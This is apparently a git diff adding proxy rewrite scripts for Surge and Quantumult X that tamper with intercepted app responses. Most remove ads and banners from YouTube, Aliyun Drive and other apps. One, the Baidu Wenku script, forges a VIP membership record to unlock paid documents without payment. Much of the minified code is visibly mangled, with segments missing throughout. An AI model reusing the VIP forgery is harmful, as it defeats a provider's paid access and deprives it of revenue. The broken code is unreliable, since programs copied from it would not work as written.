r=i??this.create(),f=e.pos+t;for(;e.posSt},{no:2,name:"p1F2",kind:"message",T:()=>Dt},{no:10,name:"captions",kind:"message",T:()=>Et}])}create(e){let t={p1F7:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.pos$t}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posCt},{no:2,name:"audioTracks",kind:"message",repeat:1,T:()=>Lt},{no:3,name:"translationLanguages",kind:"message",repeat:1,T:()=>jt},{no:4,name:"defaultAudioTrackIndex",kind:"scalar",opt:!0,T:5},{no:6,name:"defaultCaptionTrackIndex",kind:"scalar",opt:!0,T:5}])}create(e){let t={captionTracks:[],audioTracks:[],translationLanguages:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posre},{no:3,name:"vssId",kind:"scalar",T:9},{no:4,name:"languageCode",kind:"scalar",T:9},{no:5,name:"kind",kind:"scalar",opt:!0,T:9},{no:6,name:"rtl",kind:"scalar",opt:!0,T:8},{no:7,name:"isTranslatable",kind:"scalar",T:8}])}create(e){let t={baseUrl:"",vssId:"",languageCode:"",isTranslatable:!1};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posre}])}create(e){let t={languageCode:""};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posAt},{no:11,name:"p2F11",kind:"message",T:()=>_t}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posMt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posVt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posvt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posKt},{no:7,name:"st1F7",kind:"message",T:()=>Gt},{no:10,name:"st1F10",kind:"message",T:()=>Jt}])}create(e){let t={st1F6:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posse},{no:66930374,name:"st2F66930374",kind:"message",T:()=>Xt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posse}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posae}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posA},{no:6,name:"f6",kind:"scalar",T:5},{no:7,name:"f7",kind:"scalar",T:5},{no:8,name:"f8",kind:"scalar",T:5},{no:9,name:"f9",kind:"scalar",T:5},{no:10,name:"f10",kind:"scalar",T:5},{no:12,name:"f12",kind:"scalar",T:5}])}create(e){let t={f2:0,f3:0,f6:0,f7:0,f8:0,f9:0,f10:0,f12:0};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posqt},{no:4,name:"num",kind:"scalar",T:5}])}create(e){let t={st3F3:[],num:0};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posYt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posZt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posae}])}create(e){let t={f1:0,f2:0,f3:0};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posZ},{no:6,name:"st5F6",kind:"message",T:()=>Z},{no:13,name:"st3F5",kind:"message",T:()=>A},{no:15,name:"f15",kind:"scalar",T:5}])}create(e){let t={f15:0};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posA},{no:81212182,name:"st6F81212182",kind:"message",T:()=>zt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posQt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posHt},{no:3,name:"f3",kind:"scalar",T:5}])}create(e){let t={f3:0};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posnew Ne(e,t,n),Surge:(e,t,n)=>new Re(e,t,n)};var Ie=class extends V{getFn(e,t,n){let i=Ie.clientAdapter[t]||t;return super.getFn(e,i,n)}setFn(e,t,n,i){let r=Ie.clientAdapter[t]||t;return super.setFn(e,r,n,i)}init(){try{this.request=this.createProxy($request),this.response=this.createProxy($response)}catch(e){this.log(e.toString())}}getVal(e){return $persistentStore.read(e)}setVal(e,t){$persistentStore.write(e,t)}msg(e=this.name,t="",n="",i){$notification.post(e,t,n,{url:i??""})}async fetch(e){return await new Promise((t,n)=>{let{method:i,body:r,bodyBytes:f,...s}=e,o=f??r,a=o instanceof Uint8Array;$httpClient[i.toLowerCase()]({...s,body:o,"binary-mode":a},(u,g,k)=>{u&&n(u);let m=a?"bodyBytes":"body";t({status:g.status||g.statusCode,headers:g.headers,[m]:k})})})}done(e){let t=e.response??e,n,i;t.bodyBytes?(n=t.bodyBytes,delete t.bodyBytes,i={...e},i.response?i.response.body=n:i.body=n):i=e,$done(i)}},Re=Ie;Re.clientAdapter={bodyBytes:"body"};var _=class extends V{static transferBodyBytes(e,t){return e instanceof ArrayBuffer?t==="Uint8Array"?new Uint8Array(e):e:e instanceof Uint8Array&&t==="ArrayBuffer"?e.buffer.slice(e.byteOffset,e.byteLength+e.byteOffset):e}init(){try{this.request=this.createProxy($request),this.response=this.createProxy($response)}catch(e){this.log(e.toString())}}getFn(e,t,n){let i=_.clientAdapter[t]||t,r=super.getFn(e,i,n);return t==="bodyBytes"&&(r=_.transferBodyBytes(r,"Uint8Array")),r}setFn(e,t,n,i){let r=_.clientAdapter[t]||t,f=n;return t==="bodyBytes"&&(f=_.transferBodyBytes(f,"Uint8Array")),super.setFn(e,r,f,i)}getVal(e){return $prefs.valueForKey(e)?.replace(/\0/g,"")}setVal(e,t){$prefs.setValueForKey(e,t)}msg(e=this.name,t="",n="",i){$notify(e,t,n,{"open-url":i??""})}async fetch(e){return await new Promise(t=>{let n={url:"",method:"GET"};for(let[i,r]of Object.entries(e))i==="id"?n.sessionIndex=r:i==="bodyBytes"?n.bodyBytes=_.transferBodyBytes(r,"ArrayBuffer"):n[i]=r;e.bodyBytes&&delete n.body,$task.fetch(n).then(i=>{let r={status:200,headers:{}};for(let[f,s]of Object.entries(i))f==="sessionIndex"?r.id=s:f==="bodyBytes"?r.bodyBytes=_.transferBodyBytes(s,"Uint8Array"):f==="statusCode"?r.status=s:r[f]=s;t(r)})})}done(e){let t=e.response??e,n={};for(let[i,r]of Object.entries(t))i==="status"?n.status=`HTTP/1.1 ${r}`:i==="bodyBytes"?n.bodyBytes=_.transferBodyBytes(r,"ArrayBuffer"):n[i]=r;$done(n)}},Ne=_;Ne.clientAdapter={id:"sessionIndex",status:"statusCode"};var U=V.getInstance("YouTube",{debug:!1});var K=class{constructor(e,t){this.decoder=new TextDecoder("utf-8",{fatal:!1,ignoreBOM:!0});U.log(t),this.msgType=e,Object.assign(this,U.getJSON("YouTubeAdvertiseInfo",{whiteNo:[],blackNo:[],whiteEml:[],blackEml:["cell_divider.eml","premium_empty_state.eml","premium_spotlight_banner.eml","product_carousel.eml","statement_banner.eml"]}))}fromBinary(e){return this.message=this.msgType.fromBinary(e),this}toBinary(){return this.msgType.toBinary(this.message)}save(){if(this.needSave){U.log("Update Config");let e={whiteNo:this.whiteNo,blackNo:this.blackNo,whiteEml:this.whiteEml,blackEml:this.blackEml};U.setJSON(e,"YouTubeAdvertiseInfo")}}done(e){this.save();let t=e.bodyBytes;this.needProcess&&(t=this.toBinary()),e.headers["Content-Encoding"]="identity",e.headers["Content-Length"]=(t?.length??0)?.toString(),U.done({response:{...e,bodyBytes:t}})}doneResponse(){this.save(),this.needProcess&&U.done({bodyBytes:this.toBinary()}),U.exit()}iterate(e={},t,n){let i=typeof e=="object"?[e]:[];for(;i.length;){let r=i.pop(),f=Object.keys(r);if(typeof t=="symbol"){for(let s of Object.getOwnPropertySymbols(r))if(Symbol.keyFor(s)===Symbol.keyFor(t)){n(r,i);break}}for(let s of f)s===t?n(r,i):typeof r[s]=="object"&&i.push(r[s])}}isAdvertise(e){let t=c.list(e)[0],n=t?this.handleFieldNo(t):this.handleFieldEml(e);return n&&(this.needProcess=!0),n}handleFieldNo(e){let t=e.no;if(this.whiteNo.includes(t))return!1;if(this.blackNo.includes(t))return!0;let i=this.decoder.decode(e.data).includes("pagead");return i?this.blackNo.push(t):this.whiteNo.push(t),this.needSave=!0,i}handleFieldEml(e){let t=!1,n=!0,i="";return this.iterate(e,"type",(r,f)=>{i=r.type.split("|")[0],this.whiteEml.includes(i)?t=!1:this.blackEml.includes(i)||/shorts(?!_pivot_item)/.test(i)?t=!0:n=!1,n&&(f.length=0)}),n||(this.iterate(e,Symbol.for("protobuf-ts/unknown"),(r,f)=>{let s=c.list(r);for(let o of s)if(o.data.length>1e3&&(t=this.decoder.decode(o.data).includes("pagead"),t)){f.length=0;break}}),t?this.blackEml.push(i):this.whiteEml.push(i),this.needSave=!0),t}};function Tr(l){let n=".",i="+-a^+6",r="+-3^+b+-f",f,s,o;for(f=[],s=0,o=0;oa?f[s++]=a:(2048>a?f[s++]=a>>6|192:((a&64512)==55296&&o+1>18|240,f[s++]=a>>12&63|128):f[s++]=a>>12|224,f[s++]=a>>6&63|128),f[s++]=a&63|128)}for(l=406644,s=0;sl&&(l=(l&2147483647)+2147483648),l%=1e6,l.toString()+n+(l^406644)}function yr(l,e){let t="a",n="+",i;for(let r=0;r=t?i.charCodeAt(0)-87:Number(i),i=e.charAt(r+1)==n?l>>>i:l<{for(let i=n.n5F1?.length-1;i>=0;i--)this.isAdvertise(n.n5F1[i])&&n.n5F1.splice(i,1)}),this.getBrowseId().startsWith("MPLYt")&&(this.needTranslate=!0),this}getBrowseId(){let t="";return this.iterate(this.message?.responseContext,"key",(n,i)=>{n.key==="browse_id"&&(t=n.value,i.length=0)}),t}async translate(){let t="",n,i=!1;if(this.iterate(this.message,"n13F1",(s,o)=>{n=s,t=s.n13F1.map(a=>a.f1).join(` +`),i=!0,o.length=0}),i||this.iterate(this.message,"staticLyric",(s,o)=>{n=s,t=s.staticLyric,o.length=0,i=!0}),!i)return;let r=Fr(t),f=await U.fetch({method:"GET",url:r});if(f.status===200&&f.body){let s=JSON.parse(f.body),o=" & Translated by Google",a=s[2].includes("zh");n.staticLyric?(n.staticLyric=s[0].map(u=>a?u[0]:u[1]+u[0]||"").join(`\r +`),this.iterate(this.message,"originText",(u,g)=>{u.originText+=o,g.length=0})):n.n13F1.length<=s[0].length&&(n.n13F1.forEach((u,g)=>{u.f1=a?s[0][g][0]:u.f1+` +${s[0][g][0]}`}),n.originText+=o),this.needProcess=!0}}},We=class extends G{constructor(e=fr,t="Next"){super(e,t)}pure(){return super.pure(),this}addTranslateTab(){this.iterate(this.message?.a1F7?.musicPlayRender,"items",(e,t)=>{let n=e.items.find(i=>i.tab.info?.browseInfo?.browseId.startsWith("MPLYt"));n&&(n.tab.name=n.tab.name+"\u21C4"),this.needProcess=!0,t.length=0})}},xe=class extends K{constructor(e=hr,t="Player"){super(e,t)}pure(){this.message.p1F7?.length&&(this.message.p1F7.length=0);let e=this.message?.p1F2?.p2F21?.p3F151635310;typeof e=="object"&&(e.pip=1);let t={p2F11:{p3F64657230:{backPlay:1}}};return typeof this.message?.p1F2=="object"&&Object.assign(this.message.p1F2,t),this.iterate(this.message,"captionTracks",(n,i)=>{let r=n.captionTracks;if(Array.isArray(r))for(let f of r)f.isTranslatable=!0;n.translationLanguages=[{languageCode:"de",languageName:{runs:[{text:"Deutsch"}]}},{languageCode:"ru",languageName:{runs:[{text:"\u0420\u0443\u0441\u0441\u043A\u0438\u0439"}]}},{languageCode:"fr",languageName:{runs:[{text:"Fran\xE7ais"}]}},{languageCode:"fil",languageName:{runs:[{text:"Filipino"}]}},{languageCode:"ko",languageName:{runs:[{text:"\uD55C\uAD6D\uC5B4"}]}},{languageCode:"ja",languageName:{runs:[{text:"\u65E5\u672C\u8A9E"}]}},{languageCode:"en",languageName:{runs:[{text:"English"}]}},{languageCode:"vi",languageName:{runs:[{text:"Ti\u1EBFng Vi\u1EC7t"}]}},{languageCode:"zh-Hant",languageName:{runs:[{text:"\u4E2D\u6587\uFF08\u7E41\u9AD4\uFF09"}]}},{languageCode:"zh-Hans",languageName:{runs:[{text:"\u4E2D\u6587\uFF08\u7B80\u4F53\uFF09"}]}},{languageCode:"und",languageName:{runs:[{text:"@VirgilClyne"}]}}],n?.defaultCaptionTrackIndex||(n.defaultCaptionTrackIndex=0),i.length=0}),this.needProcess=!0,this}},Oe=class extends G{constructor(e=ur,t="Search"){super(e,t)}},Pe=class extends K{constructor(e=cr,t="Shorts"){super(e,t)}pure(){let e=this.message.t1F2?.length;if(e)for(let t=e-1;t>=0;t--)this.message.t1F2[t].n2F1?.n3F139608561?.n4F8||(this.message.t1F2.splice(t,1),this.needProcess=!0);return this}},Ue=class extends K{constructor(e=dr,t="Guide"){super(e,t)}pure(){let e=["FEmusic_immersive","SPunlimited","FEuploads"];return this.iterate(this.message,"g3F1",t=>{for(let n=t.g3F1.length-1;n>=0;n--){let i=t.g3F1[n]?.iconRender?.browseId||t.g3F1[n]?.labelRender?.browseId;e.includes(i)&&(t.g3F1.splice(n,1),this.needProcess=!0)}}),this}},Ee=class extends K{constructor(e=pr,t="Setting"){super(e,t)}pure(){this.iterate(this.message,"num",t=>{if(t.num===10005){let n={f1:135,f2:20434,f3:2,st2F4:this.message.st1F10.st2F4},i={st4F61331416:{f15:0,st5F5:{st3F5:n,st6F81212182:{st7F1:{st8F1:{f1:151},f3:1}}},st5F6:{st3F5:n,st6F81212182:{st7F1:{st8F1:{f1:151},f3:0}}},st3F5:n}};t.st3F3.push(i)}});let e={st2F88478200:{f2:1,f3:1,st3F5:{f1:2,f2:20020,f3:8,st2F4:this.message.st1F10.st2F4},f6:0,f7:1,f8:1,f9:1,f10:1,f12:1}};return this.message.st1F6.push(JSON.parse(JSON.stringify(e))),e.st2F88478200.st3F5.f1=1,e.st2F88478200.st3F5.f3=9,this.message.st1F7=e,this.needProcess=!0,this}};var Rr=new Map([["browse",G],["next",We],["player",xe],["search",Oe],["reel_watch_sequence",Pe],["guide",Ue],["get_setting",Ee]]);function Mi(l){for(let[e,t]of Rr.entries())if(l.includes(e))return new t;return null}async function Nr(){let l=Mi(U.request.url);if(l)try{let e=U.response.bodyBytes;l.fromBinary(e).pure(),l instanceof G&&l.needTranslate&&await l.translate(),l.doneResponse()}catch(e){console.log(e.toString()),U.exit()}else U.msg("YouTube Enhance","\u811A\u672C\u9700\u8981\u66F4\u65B0","\u5916\u90E8\u8D44\u6E90 -> \u5168\u90E8\u66F4\u65B0"),U.exit()}Nr();})(); diff --git a/Scripts/adrive/adrive.js b/Scripts/adrive/adrive.js new file mode 100644 index 00000000..1cdeef01 --- /dev/null +++ b/Scripts/adrive/adrive.js @@ -0,0 +1,40 @@ +// 2024-07-15 21:30 + +const url = $request.url; +if (!$response.body) $done({}); +let obj = JSON.parse($response.body); + +if (url.includes("/v1/users/onboard_list")) { + if (obj.result?.length > 0) { + obj.result = obj.result.filter( + (i) => + ![ + "backup_list_under_mydevice_banner", + "backup_top_banner", + "home_bulletin_board", + "home_top_banner", + "resource_top_banner", + "video_top_banner" + ]?.includes(i?.anchor) + ); + } +} else if (url.includes("/v2/users/home/news")) { + if (obj.result?.length > 0) { + obj.result = obj.result.filter((i) => !i?.code?.includes("productUpdate")); + } +} else if (url.includes("/v1/user/home/widgets") || url.includes("/v2/users/home/widgets")) { + const item = [ + "album", // 相册 + "banners", // 顶部奖励 + "coreFeatures", // 横版图标 + "introduceAlipan", // 认识阿里云盘 + "mainBackup", // 手机备份 + "minorBackup", // 备份设备列表 + "signIn" // 签到 + ]; + item.forEach((i) => { + delete obj[i]; + }); +} + +$done({ body: JSON.stringify(obj) }); diff --git a/Scripts/alittle-tea.js b/Scripts/alittle-tea.js new file mode 100644 index 00000000..679bf9c0 --- /dev/null +++ b/Scripts/alittle-tea.js @@ -0,0 +1,3 @@ +let obj=JSON.parse($response.body); +delete obj.data; +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/amdc.js b/Scripts/amdc.js new file mode 100644 index 00000000..edee4eb5 --- /dev/null +++ b/Scripts/amdc.js @@ -0,0 +1,13 @@ +// 使用AMDC的APP有:咸鱼、淘宝、盒马、高德、菜鸟、飞猪 +var ua = $request.headers["User-Agent"] || $request.headers["user-agent"]; + +if ( + ua.indexOf("AMap") !== -1 || + ua.indexOf("Cainiao") !== -1 || + ua.indexOf("Moon") !== -1 || + ua.indexOf("%E9%A3%9E%E7%8C%AA%E6%97%85%E8%A1%8C") !== -1 +) { + $done({body: ""}); +} else { + $done({}); +} diff --git a/Scripts/applet.js b/Scripts/applet.js new file mode 100644 index 00000000..d0e5e8b4 --- /dev/null +++ b/Scripts/applet.js @@ -0,0 +1,9 @@ +//############################################ +//#!name=微信小程序去广告脚本 +//#!date:2023-03-19 +//############################################# + + +re('"excitationAd":"\\d"@Ad":"\d"@ad":true@AdId":"[^"]*"@adid":"[^"]*"@fr_videp_if":"1@adunit[^"]*"','"excitationAd":"0"@Ad":"0"@ad":false@AdId":""@adid":""@fr_videp_if":"0@"') + +function re(){var e=$response.body;if(arguments[0].includes("@")){var r=arguments[0].split("@"),l=arguments[1].split("@");for(i=0;i 应用名称:百度文库 +> 脚本功能:解锁VIP文档阅读权限 +> 特别说明:本脚本仅供学习交流使用,禁止转载、售卖 + +[rewrite_local] +# 百度文库☆解锁VIP文档阅读权限(2022-10-17) +^https:\/\/appwk\.baidu\.com\/naapi\/user\/getinfo url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/baidu/baiduLib.js + +[mitm] +hostname=appwk.baidu.com +***********************************/ + +let obj = JSON.parse($response.body); + +obj.data.vip.base_vip_info = { + uid: 12345678, + type: 2, + start_time: 1622222200, + end_time: 4622222200, + is_vip: 1, + remain_day: 999, + pro_total: 5, + normal_total: 5 +}; + +$done({ body: JSON.stringify(obj) }); diff --git a/Scripts/baidumap.js b/Scripts/baidumap.js new file mode 100644 index 00000000..c88f0f64 --- /dev/null +++ b/Scripts/baidumap.js @@ -0,0 +1,89 @@ +let protobuf;!function(g){"use strict";!function(r,e,t){var i=function t(i){var n=e[i];return n||r[i][0].call(n=e[i]={exports:{}},t,n,n.exports),n.exports}(t[0]);protobuf=i.util.global.protobuf=i,"function"==typeof define&&define.amd&&define(["long"],function(t){return t&&t.isLong&&(i.util.Long=t,i.configure()),i}),"object"==typeof module&&module&&module.exports&&(module.exports=i)}({1:[function(t,i,n){i.exports=function(t,i){var n=Array(arguments.length-1),s=0,r=2,u=!0;for(;r>2],r=(3&h)<<4,o=1;break;case 1:s[u++]=f[r|h>>4],r=(15&h)<<2,o=2;break;case 2:s[u++]=f[r|h>>6],s[u++]=f[63&h],o=0}8191>4,r=o,s=2;break;case 2:i[n++]=(15&r)<<4|(60&o)>>2,r=o,s=3;break;case 3:i[n++]=(3&r)<<6|o,s=0}}if(1===s)throw Error(c);return n-e},n.test=function(t){return/^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/.test(t)}},{}],3:[function(t,i,n){function a(i,n){"string"==typeof i&&(n=i,i=g);var h=[];function f(t){if("string"!=typeof t){var i=c();if(a.verbose&&console.log("codegen: "+i),i="return "+i,t){for(var n=Object.keys(t),r=Array(n.length+1),e=Array(n.length),s=0;s>>0:i<11754943508222875e-54?(e<<31|Math.round(i/1401298464324817e-60))>>>0:(e<<31|127+(t=Math.floor(Math.log(i)/Math.LN2))<<23|8388607&Math.round(i*Math.pow(2,-t)*8388608))>>>0,n,r)}function n(t,i,n){t=t(i,n),i=2*(t>>31)+1,n=t>>>23&255,t&=8388607;return 255==n?t?NaN:1/0*i:0==n?1401298464324817e-60*i*t:i*Math.pow(2,n-150)*(8388608+t)}function r(t,i,n){o[0]=t,i[n]=h[0],i[n+1]=h[1],i[n+2]=h[2],i[n+3]=h[3]}function e(t,i,n){o[0]=t,i[n]=h[3],i[n+1]=h[2],i[n+2]=h[1],i[n+3]=h[0]}function s(t,i){return h[0]=t[i],h[1]=t[i+1],h[2]=t[i+2],h[3]=t[i+3],o[0]}function u(t,i){return h[3]=t[i],h[2]=t[i+1],h[1]=t[i+2],h[0]=t[i+3],o[0]}var o,h,f,c,a;function l(t,i,n,r,e,s){var u,o=r<0?1:0;0===(r=o?-r:r)?(t(0,e,s+i),t(0<1/r?0:2147483648,e,s+n)):isNaN(r)?(t(0,e,s+i),t(2146959360,e,s+n)):17976931348623157e292>>0,e,s+n)):r<22250738585072014e-324?(t((u=r/5e-324)>>>0,e,s+i),t((o<<31|u/4294967296)>>>0,e,s+n)):(t(4503599627370496*(u=r*Math.pow(2,-(r=1024===(r=Math.floor(Math.log(r)/Math.LN2))?1023:r)))>>>0,e,s+i),t((o<<31|r+1023<<20|1048576*u&1048575)>>>0,e,s+n))}function d(t,i,n,r,e){i=t(r,e+i),t=t(r,e+n),r=2*(t>>31)+1,e=t>>>20&2047,n=4294967296*(1048575&t)+i;return 2047==e?n?NaN:1/0*r:0==e?5e-324*r*n:r*Math.pow(2,e-1075)*(n+4503599627370496)}function v(t,i,n){f[0]=t,i[n]=c[0],i[n+1]=c[1],i[n+2]=c[2],i[n+3]=c[3],i[n+4]=c[4],i[n+5]=c[5],i[n+6]=c[6],i[n+7]=c[7]}function b(t,i,n){f[0]=t,i[n]=c[7],i[n+1]=c[6],i[n+2]=c[5],i[n+3]=c[4],i[n+4]=c[3],i[n+5]=c[2],i[n+6]=c[1],i[n+7]=c[0]}function p(t,i){return c[0]=t[i],c[1]=t[i+1],c[2]=t[i+2],c[3]=t[i+3],c[4]=t[i+4],c[5]=t[i+5],c[6]=t[i+6],c[7]=t[i+7],f[0]}function y(t,i){return c[7]=t[i],c[6]=t[i+1],c[5]=t[i+2],c[4]=t[i+3],c[3]=t[i+4],c[2]=t[i+5],c[1]=t[i+6],c[0]=t[i+7],f[0]}return"undefined"!=typeof Float32Array?(o=new Float32Array([-0]),h=new Uint8Array(o.buffer),a=128===h[3],t.writeFloatLE=a?r:e,t.writeFloatBE=a?e:r,t.readFloatLE=a?s:u,t.readFloatBE=a?u:s):(t.writeFloatLE=i.bind(null,m),t.writeFloatBE=i.bind(null,w),t.readFloatLE=n.bind(null,g),t.readFloatBE=n.bind(null,j)),"undefined"!=typeof Float64Array?(f=new Float64Array([-0]),c=new Uint8Array(f.buffer),a=128===c[7],t.writeDoubleLE=a?v:b,t.writeDoubleBE=a?b:v,t.readDoubleLE=a?p:y,t.readDoubleBE=a?y:p):(t.writeDoubleLE=l.bind(null,m,0,4),t.writeDoubleBE=l.bind(null,w,4,0),t.readDoubleLE=d.bind(null,g,0,4),t.readDoubleBE=d.bind(null,j,4,0)),t}function m(t,i,n){i[n]=255&t,i[n+1]=t>>>8&255,i[n+2]=t>>>16&255,i[n+3]=t>>>24}function w(t,i,n){i[n]=t>>>24,i[n+1]=t>>>16&255,i[n+2]=t>>>8&255,i[n+3]=255&t}function g(t,i){return(t[i]|t[i+1]<<8|t[i+2]<<16|t[i+3]<<24)>>>0}function j(t,i){return(t[i]<<24|t[i+1]<<16|t[i+2]<<8|t[i+3])>>>0}i.exports=r(r)},{}],7:[function(t,i,n){function r(t){try{var i=eval("require")(t);if(i&&(i.length||Object.keys(i).length))return i}catch(t){}return null}i.exports=r},{}],8:[function(t,i,n){var e=n.isAbsolute=function(t){return/^(?:\/|\w+:)/.test(t)},r=n.normalize=function(t){var i=(t=t.replace(/\\/g,"/").replace(/\/{2,}/g,"/")).split("/"),n=e(t),t="";n&&(t=i.shift()+"/");for(var r=0;r>>1,s=null,u=r;return function(t){if(t<1||e>10),s[u++]=56320+(1023&r)):s[u++]=(15&r)<<12|(63&t[i++])<<6|63&t[i++],8191>6|192:(55296==(64512&r)&&56320==(64512&(e=t.charCodeAt(u+1)))?(++u,i[n++]=(r=65536+((1023&r)<<10)+(1023&e))>>18|240,i[n++]=r>>12&63|128):i[n++]=r>>12|224,i[n++]=r>>6&63|128),i[n++]=63&r|128);return n-s}},{}],11:[function(t,i,n){var l=t(14),d=t(33);function u(t,i,n,r){var e=!1;if(i.resolvedType)if(i.resolvedType instanceof l){t("switch(d%s){",r);for(var s=i.resolvedType.values,u=Object.keys(s),o=0;o>>0",r,r);break;case"int32":case"sint32":case"sfixed32":t("m%s=d%s|0",r,r);break;case"uint64":h=!0;case"int64":case"sint64":case"fixed64":case"sfixed64":t("if(util.Long)")("(m%s=util.Long.fromValue(d%s)).unsigned=%j",r,r,h)('else if(typeof d%s==="string")',r)("m%s=parseInt(d%s,10)",r,r)('else if(typeof d%s==="number")',r)("m%s=d%s",r,r)('else if(typeof d%s==="object")',r)("m%s=new util.LongBits(d%s.low>>>0,d%s.high>>>0).toNumber(%s)",r,r,r,h?"true":"");break;case"bytes":t('if(typeof d%s==="string")',r)("util.base64.decode(d%s,m%s=util.newBuffer(util.base64.length(d%s)),0)",r,r,r)("else if(d%s.length >= 0)",r)("m%s=d%s",r,r);break;case"string":t("m%s=String(d%s)",r,r);break;case"bool":t("m%s=Boolean(d%s)",r,r)}}return t}function v(t,i,n,r){if(i.resolvedType)i.resolvedType instanceof l?t("d%s=o.enums===String?(types[%i].values[m%s]===undefined?m%s:types[%i].values[m%s]):m%s",r,n,r,r,n,r,r):t("d%s=types[%i].toObject(m%s,o)",r,n,r);else{var e=!1;switch(i.type){case"double":case"float":t("d%s=o.json&&!isFinite(m%s)?String(m%s):m%s",r,r,r,r);break;case"uint64":e=!0;case"int64":case"sint64":case"fixed64":case"sfixed64":t('if(typeof m%s==="number")',r)("d%s=o.longs===String?String(m%s):m%s",r,r,r)("else")("d%s=o.longs===String?util.Long.prototype.toString.call(m%s):o.longs===Number?new util.LongBits(m%s.low>>>0,m%s.high>>>0).toNumber(%s):m%s",r,r,r,r,e?"true":"",r);break;case"bytes":t("d%s=o.bytes===String?util.base64.encode(m%s,0,m%s.length):o.bytes===Array?Array.prototype.slice.call(m%s):m%s",r,r,r,r,r);break;default:t("d%s=m%s",r,r)}}return t}n.fromObject=function(t){var i=t.fieldsArray,n=d.codegen(["d"],t.name+"$fromObject")("if(d instanceof this.ctor)")("return d");if(!i.length)return n("return new this.ctor");n("var m=new this.ctor");for(var r=0;r>>3){");for(var n=0;n>>3){")("case 1: k=r.%s(); break",r.keyType)("case 2:"),h.basic[e]===g?i("value=types[%i].decode(r,r.uint32())",n):i("value=r.%s()",e),i("break")("default:")("r.skipType(tag2&7)")("break")("}")("}"),h.long[r.keyType]!==g?i('%s[typeof k==="object"?util.longToHash(k):k]=value',s):i("%s[k]=value",s)):r.repeated?(i("if(!(%s&&%s.length))",s,s)("%s=[]",s),h.packed[e]!==g&&i("if((t&7)===2){")("var c2=r.uint32()+r.pos")("while(r.pos>>0,8|c.mapKey[s.keyType],s.keyType),h===g?n("types[%i].encode(%s[ks[i]],w.uint32(18).fork()).ldelim().ldelim()",u,i):n(".uint32(%i).%s(%s[ks[i]]).ldelim()",16|h,o,i),n("}")("}")):s.repeated?(n("if(%s!=null&&%s.length){",i,i),s.packed&&c.packed[o]!==g?n("w.uint32(%i).fork()",(s.id<<3|2)>>>0)("for(var 